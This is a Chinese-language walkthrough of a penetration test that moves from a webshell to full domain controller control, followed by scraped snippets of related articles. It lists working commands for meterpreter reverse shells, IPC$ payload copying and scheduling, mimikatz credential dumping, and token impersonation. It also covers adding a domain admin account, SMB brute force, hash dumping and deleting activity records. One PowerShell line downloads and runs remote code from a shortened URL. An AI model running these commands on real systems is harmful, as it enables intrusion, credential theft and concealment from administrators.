一次完整的从webshell到域控的探索之路

前言

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。

于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。

今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。

相关知识点总结如下:

  • 免杀 payload 的生成,请使用 Veil
  • msf 在 meterpreter 下的提权尝试
  • msf 在 meterpreter 下的 bypassuac 尝试
  • 内网渗透测试过程中的信息关联
  • meterpreter 的路由添加以及相关扫描
  • Powershell 在 meterpreter 下面的使用
  • Meterpreter 的 post 模块使用
  • Msf 的 custom 自己生成的 payload 的使用
  • 进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重要的连接点。

分享为了方便大家以后在安全脉搏一起交流,一起学习,一起进步(一起Zhuangbility)。

首先 shell 是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:

  • A 堡垒机(webshell 所在机器):windows server 2012
  • B 堡垒机:windows 2008(powershell 扫描机器)
  • C 堡垒机:有域管理进程的机器 windows server 2012
  • D 堡垒机若干

第一步 反弹 meterpreter

其实每一次的渗透测试开始并不像我们想象的那么顺利,而这一次的开始也同样意味着

我们一次不同的旅程,整个的渗透测试过程我花了差不多四个小时的时间,大部分的时间都是花在解决这些问题之上。

1 webshell 无法上传 exe

本来想着直接上传 meterpreter 的 payload 的直接反弹的结果发现上传不了,可以选择 powershell 的 meterpreter 的模块来实现

2 meterpreter 的 reverse_tcp 模块反弹不成功

Msf 的 payload 的反弹,刚开始我使用的模块是 meterpreter 的 reverse_tcp 的模块来尝试,发现可以反弹,但是一直无法建立成功 meterpreter

说明一定有监控发现了我们的行为。于是在此基础上尝试 meterpreter 的 reverse_https 模块,顺利反弹成功

详细遇到的问题和解决过程的图如下所示:

图 1-1 使用 payload

图 1-2 设置 https 的 payload

图 1-3 反弹成功

第二步 尝试提权 windows server 2012

当我们首先拿到一个 (权限不足的)Webshell 的时候想到的第一件事是什么?那肯定是提权,我也想大家想的一样,首先开始了我们的提权之旅。

首先使用 msf 的 search 模块 ms15,会得到一些漏洞利用的模块。我尝试了 ms15_05 以及 ms15_078 全部以失败结束。

详细的图如下所示:

图 2-1 提权尝试失败

第三步 尝试当前账号 Bypassuac 测试

刚开始一直忘说了一件事,那就是 webshell 本身的权限,我们目前 webshell是 jsp 的,具有当前的一个普通域用户的权限。

我于是也想到了是不是可以通过bypassuac 来完成提权呢,但是测试的结果可想而知,又一次失败了。

目前详细的情况如下:

图 3-1 当前的用户权限

图 3-2 bypassuac 尝试

第四步 相关信息收集

当我们此时提权不成功的情况下,我们还是可以利用当前的用户进行域渗透测试的。那

么目前我们具有以下几种方式进行渗透测试域:

1 收集域里面的相关信息,包括所有的用户,所有的电脑,以及相关关键的组的信息。

常使用到的命令如下:

net user /domain

Net group "domain computers" /domain

net group "domain admins"  /domain #查看域管理员

net localgroup administrators

net view /domain

2 收集 sqlserver 的相关信息,如果当前堡垒机使用了 sql server 的话,恰巧用户是当前的域用户的话,我们在此可以使用 sqlcmd 的信息收集,以及扫描攻击。

在这里只是提到,因为篇幅问题,暂时不做深一层讨论

根据我的渗透测试经验,我在此只是做了最简单的信息收集,首先使用 sqlcmd 的获取sql server 的所有机器列表、当前堡垒机的机器名、当前堡垒机的 IP、

还有 net view 来做简单的信息收集。

详细的图如下所示:

图 4-1 SQLCMD 获取信息

图 4-2 当前的机器名

图 4-3 net view 相关的机器名

第五步 信息分析,成功获取一台服务器权限

当我们信息收集完成以后,我们要开始考虑接下来要做什么。

首先我们来看一下我们目前拥有什么:

  • A 一个域用户的进程权限,当前堡垒机是 windows server 2012,提权失败。(假如能提权成功,我们依然是无法获取到用户的明文密码)
  • B 当前的堡垒机的用户名
  • C 当前 sqlcmd 获取到的同样安装了 sql server 机器的名称

目前我们的思路有:

  • 1 使用 meterpreter的目前权限来添加路由进行弱口令扫描
  • 2 使用 powershell 对内网进行扫描(本次渗透测试使用了,但是在这里暂时没有使用),具体来说时间比较慢一点,当然此时此刻powershell绝对算是一个内网渗透测试又一神器
  • 3 使用当前的用户权限架设 socks4a,然后利用第一步我们获取到的信息 socks 进行内网扫描
  • 4 使用当前用户的权限,对域里面的电脑进行 IPC,或者 DIR 溢出(也就是 dir 其他电脑的 c 盘,如果成功表示有权限)批量测试

通过上面的分析,此时我选择了最偷懒的一种方法,进行当前堡垒机的机器名和 net view 的机器名进行对比,找出来非常相似的几个机器名,手动测试。

当前速度也是非常快的,在尝试了两次的时候就成功了。

详细过程如下:

Net use \\ip\c$

Tasklist /v /s ip

图 5-1 net use 测试成功

图 5-2 tasklist 执行成功

第六步 域信息收集

首先在第四步已经说了域相关的信息收集,这里就不做过多的介绍了,这次是在第五步的基础上做的相关收集,相关知识点如下:

1 域信息收集,其中用到的命令如下:

Net group "domain admins" /domain

Net group /domain

Net group "domain controllers" /domain

Net group "enterprise admins" /domain

2 ipc$入侵,大家相关的话自行百度经典 IPC$入侵

Net use \\ip\c$

Copy bat.bat \\ip\c$ (其中 bat.bat 是 powershell 的 meterpreter)

Net time \\ip

At \\ip time c:\bat.bat

3 上传抓明文工具 64.exe(mimikatz 神器),大家都懂的

Upload /home/64.exe c:\

Shell

Cd \

64.Exe

4 查看抓取到的用户的详细信息

Net use xxx /domain

5 使用 meterpreter 的 ps,查看相关用户的进程列表

6 尝试使用域令牌假冒

Use incongnito

list_token -u

Impersonate_token xxxxxx

我在这次渗透测试过程中尝试上面讲到的所有知识点,详细的截图如下:

图 6-1 查看域管

图 6-2 查看域组

图 6-3 查看域控制器

图 6-4 查看企业管理组

图 6-5 共享 copy 数据

图 6-6 经典 ipc$

图 6-7 反弹 meterpreter 成功

图 6-8 上传文件

图 6-9 查看服务器信息

图 6-10 抓取密码

图 6-11 查看域用户权限

图 6-12 查看域用户权限

图 6-13 窃取令牌尝试

图 6-14 查看主域控的 IP

第七步 SMB 快速扩张控制权限

此时此刻,作为读者你的在想什么呢?是不是当看到第六步的时候就可以去睡觉了,毕竟已经凌晨五点了。

但是此时此刻作为一个专业求师傅,求妹子,求神器的人可不这么想。

我们要做最后的冲刺,因为黎明的钟声已经敲响。

先来看一下我们当前拥有什么权限:

有两台堡垒机,两个用户权限

目前我们要做的事情很简单,就是快速的在内网扩大控制权限,那么如何去做,其实很简单的,就是快速的扫描以完成我们的梦想。

具体如下:

  • 1 使用当前获取到的两个用户权限,快速的进行扫描。(扫描哪里了,看到第六步最后一张图 6-14 了没,就是域控的 IP 段)
  • 2 smb_login 扫描
  • 3 端口转发进内网

目前思路我们已经有了,神器 msf 终于迎来了自己梦想恶天堂。让我们愉快的玩耍吧。

详细知识点如下:

  • 1 msf 添加路由 route add ip mask sessionid
  • 2 smb_login 模块或者使用 psexec_scanner(这个模块需要你自己搜索一下)
  • 3 meterpreter 端口转发
  • 4 msf 的 socks4a 模块(这次渗透测试没使用到,但是并不代表它不美好)

图 7-1 设置 smb_login 的参数

图 7-2 爆破成功的机器

图 7-3 查看已经获取到的权限

图 7-4 端口转发和目前拥有的权限

第八步 Powershell 获取域控管理员在线的机器

内网渗透测试不得不说到两大神器:msf 和 powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

首先来讲讲 powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,

一般使用到的模块有下面三个:

  • 1 Empire 据说是神器,也确实是神器,我没使用过,暂时不多说
  • 2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说
  • 3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮

来说说 powershell 的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,

主要有三种方式来调用:

1 当然是下载到本地执行,详细使用方法如后面连接:powershell "IEX (New-ObjectNet.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds"

2 第二种方式是把 powershell 文件上传到堡垒机本地执行, powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"

3 上传到对方本地,然后 Import-Module 导入,使用PowerView 的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。

如果你能看到这里开始你的 powershell 之旅,内网将开始变得简单。

图 8-1 powerview 的相关方法

废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。

Powerview 中的 Invoke-UserHunter 是获取当前域管理员在线登录的机器。

这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

图 8-1 powershell 执行命令

图 8-2 powerview 的效果展示

第九步 域控管理员权限的获取(windows2012 权限)

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。

神器过后还是神器,又见它 windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

目前来看看我们遇到的问题,通过 powershell 成功获取到相关的域控管理员在线的一台机器 windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。

思路如下:

  • 1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)
  • 2 通过 PowerUp 的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限
  • 3 msf 的令牌窃取功能(这个可以很容易实现)

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:

1 同样使用 ipc 经典入侵手法,反弹 meterpreter,

Getsysttem 权限

Ps 查看域管理所在的进程

Migrate pid 注入进程

2 继续经典的 IPC$到域控

Meterpreter 下面 shell

Net use \\域控 ip\c$

Net time \\域控 ip

Copy bat.bat \\域控 ip\c$

At \\域控 ip time c:\bat.bat(意料之外的错误,提示 schtasks.exe,不熟){安全脉搏小编注:08及以上at命令就废弃啦,都用schtasks定时计划任务}

3 通往成功的路不只有一条,添加域管账户

Net user demo demo /ad /domain

Net group "domain admins" demo /ad /domain

到了此刻,我们已经拥有域管权限了。

详细的截图如下:

图 9-1 注入域管进程,连接域控

图 9-2 添加域管理账号

图 9-3 查看域管理是否成功

第十步 域控我来了(msf psexec 反弹 shell)

一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。

先讲思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大家也大家也都知道的:

  • 1 端口转发或者 socks 登录域控远程桌面
  • 2 登录对方内网的一台电脑使用 psexec来反弹 shell
  • 3 使用 msf 的 psexec 反弹 meterpreter

反弹需要注意要用到的知识,我们这里采用的是 psesexc 来反弹 meterpreter,其中涉及到的知识如下:

  • 1 msf 中 psexec 模块的使用
  • 2 custom 模块的使用,配合 meterpreter,在 payload 不免杀的情况下如何使用自己 Veil生成的 payload

详细的使用过程如下图:

图 10-1 psexec 执行测试

图 10-2 psexec 默认反弹不成功

图 10-3 meterpreter 的 https 模块反弹成功

图 10-4 域控的系统信息

第十一步 Meterpreter 获取所有用户的 hash

有了域的权限之后,如果我们还想进行深层次的控制,那么 dumphash是必不可少的。

首先来看看我们需要的知识:

  • 1 msf 有两个模块可以使用,一个是 hashdump,此模块只能导出本地的 hash,大家测试就可以知道了,另外一个是 smart_hashdump,此模块可以用来导出域用户的 hash.
  • powershell有可以直接导出的模块,大家自行尝试一下
  • 3 wce,mimikatz 等神器的使用

在这里我采用的是 msf 的 smart_hashdump 的模块。在此需要注意的是要想使使用此模块导出 hash,必须要使用 system 的权限才行。

详细的过程如下图:

图 11-1 smart_hashdump 模块的使用

第十二步 曲折的探索之路

这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了

一个从 webshell 到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。

图 12-1 session 控制图

根据上面的图知道,我现在控制的 Session 一共有 5 个,其中有四个是必须要获取的,分别为 session1,session2 session4,session5。

其中 session1 为 webshell 反弹所获得,第二个session2 是信息分析获取到的,session4 为获取域管理员所获取,session5 为域。

其中 session3就是我所走过的弯路,浪费了时间。

之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)

作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。

涉及到相关的知识点:

  • 1 删除之前添加的域管理账号
  • 2 删除所有的使用过程中的工具
  • 3 删除自己所有的操作记录
  • 4 关闭所有的 meterpreter

在此过程中我们一共上传了两个文件,一个 bar.bat,一个 64 位的 mimikatz 抓密码工具,

直接删除即可。

图 13-1 删除用户

图 13-2 关闭所有的 session

总结

总结说点什么好呢。还是先喊口号吧------“求妹子,求师傅,求神器”。

感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,

感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。

作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;

作为一名程序员,我们就是想简单的 coding。人生如此美好,大家何不联手,一起分享美好。

目录

域渗透测试教程(windows server 2012)............................................................................................ 1

前言.............................................................................................................................................  2

第一步 反弹 meterpreter.......................................................................................................... 2

第二步 尝试提权 windows server 2012...................................................................................  4

第三步 尝试当前账号 Bypassuac 测试.................................................................................... 5

第四步 相关信息收集............................................................................................................... 6

第五步 信息分析,成功获取一台服务器权限......................................................................  8

第六步 域信息收集................................................................................................................. 10

第七步 SMB 快速扩张控制权限............................................................................................  16

第八步 Powershell 获取域控管理员在线的机器....................................................................  18

第九步 域控管理员权限的获取(windows2012 权限)..........................................................  20

第十步 域控我来了(msf psexec 反弹 shell)........................................................................... 22

第十一步 Meterpreter 获取所有用户的 hash....................................................................... 24

第十二步 曲折的探索之路..................................................................................................... 25

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理).................................. 26

总结...........................................................................................................................................  27

时间: 2024-10-17 23:09:09

一次完整的从webshell到域控的探索之路的相关文章

windows 2003 域控服务器导出全部hash的方法

天下文章一大抄,我也是醉了... 一份"错误"的文章一遍又一遍的被转载,盲目转载,根本不细看.只会误导新手. 谈下windows2003域控下如何导出全部的hash信息. 1. 使用备份还原向导 2.使用高级模式 选择:只备份系统状态数据 继续下一步:选择保存位置 最终 . 等待备份完成..... 接下来是还原: 继续使用该向导 高级 选择刚那份备份文件. 在高级中选择保存的位置: 等待.... 还原完成后,会在刚的c:\hello\active directory文件夹下生成ntds

windowns2012安装域控和开源mrbs会议室管理系统ldap

Win2012域控的安装 原理: 用户要登陆mrbs系统,需要输入用户名和密码,mrbs拿到密码和用户到域控服务器验证,验证成功才让用户登录mrbs系统操作: 前期的准备工作 1.       需要配置静态的ip 2.       修改主机名称最好有意义,我忘记修改了无所谓 安装 打开服务器管理点击添加角色和功能 (有的不重要的图我都大Log这样可以节省空间,重要的我就原图发布了,以免小伙伴看不清楚做不出来) 下面是提示需要准备的工作: 选择基于角色的功能安装,因为是本机安装不是远程给其他安装

基于windows 2008 R2域控的安装和加入客户机

实验目标: 1.DNS的安装 2.域控的安装 3.加入客户机 实验目的: 1.了解域环境是什么 2.熟悉域控制器的工作原理 实验拓扑: 实验步骤: 一. DNS的安装 A.域控网络属性的配置 作为域控服务器,IP地址必须是静态手工配置,绝对不能DHCP自动获取,因为DHCP自动获取的IP地址不是固定的,经常变化,这样对下面的客户机有很大的影响,导致客户无法正常工作,不一定要配置默认网关:但是DNS一定要配置正确了(DNS服务器可以是域控本机,也可以是另外一台服务器,本实验由于笔记本电脑本身的局限

AD 域控基础知识

两个域建立信任关系后,就可以互访对方域内的资源,这种信任关系是双向传递的.父域和子域之间自动创建信任关系:在域林中,创建的第一个域树就是该域林中的根域.域控之间的复制模式:多主机复制模式(常用),单主机复制模式(借助第三方进行周转数据)域中计算机类型:成员服务器.独立服务器.域成员LDAP 轻量目录访问协议是一种用来访问AD数据库的目录服务协议.    DN:对象在AD数据库中的完整路径:CN=test,OU=test,DC=test,DC=com    RDN: 是在DN的完整路径,代表部分路

Hyper-V 2012 R2 故障转移群集之建立域控(AD DS)与加入域

Windows  2012 R2建立域控(AD DS)与加入域 Active Directory概述:          使用 Active Directory(R) 域服务 (AD DS) 服务器角色,可以创建用于用户和资源管理的可伸缩.安全及可管理的基础机构,并可以提供对启用目录的应用程序(如 Microsoft(R) Exchange Server)的支持. AD DS 提供了一个分布式数据库,该数据库可以存储和管理有关网络资源的信息,以及启用了目录的应用程序中特定于应用程序的数据.运行

Win Server 2008 R2主域控灾难恢复

好久没写东西了,前几天遇到一个企业,因为主域控在没有任何保护的情况下,裸奔后感染病毒,直接垮掉了(无语),且无法恢复.希望能够对其进行完整功能的灾难恢复,今天就跟大家分享一下恢复的过程. 整个过程不难,但是大家在做这种操作的时候,思路一定要清晰,且操作的时候一定要仔细. 具体思路步骤:(可能不完善,欢迎大家补充) 1. 彻底检查主域控SRVDC01状态,这里主要包括是否彻底无法启动 or 只是功能故障 2. 如果主域控还能勉强单机登录的话,备份一切可以备份的有用文件资料或者应用配置,如CA证书服

win2003域控主备(热备)搭建

假设有2台SERVER,要将两台SERVER做成主备域控制器. 假设SERVER1为AD1,SERVER2为AD2,步骤如下: 1.在AD1上按正常方法安装一个新的域控制器同时安装DNS服务(一步骤): 2.将AD2的主DNS地址写成AD1的IP地址: 3.用DCPROMO /ADV 命令在AD2上安装额外的域控制器(二步骤): 4.完成安装后重启,重启后安装DNS服务(三步骤): 5.安装完成DNS后不用做任何操作,稍等片刻后,系统会自动将主备域控制器的域名加入到正向解析列表中: 6.将主备域

forfiles结合域控定期删除文件

forfiles结合域控定期删除文件 要做到根据文件时间来删除文件,有一个命令非常好,就是forfiles 我的脚本内容如下,删除桌面和下载目录上的docx和xlsx.txt文件: @echo offecho 删除桌面上的数据文件forfiles /s /p %USERPROFILE%\Desktop /m *.docx /d -7 /c "cmd /c del @path"forfiles /s /p %USERPROFILE%\Desktop /m *.xlsx /d -7 /c

Windows Server 2008 R2域控组策略设置禁用USB

问题: Windows Server 2008 R2域控服务器如何禁用客户端使用USB移动存储(客户端操作系统需要 Windows Vista以上的操作系统,XP以下的操作系统不能禁用USB移动存储). 标注:对于Windows Server 2008 R2域控组策略禁用USB移动存储设备要求是客户端操作系统要求Windows Vista以上,针对 XP以下的操作系统则只能使用Windows Server 2003操作系统作为域控服务器才可以进行限制(操作方法跟windows server 20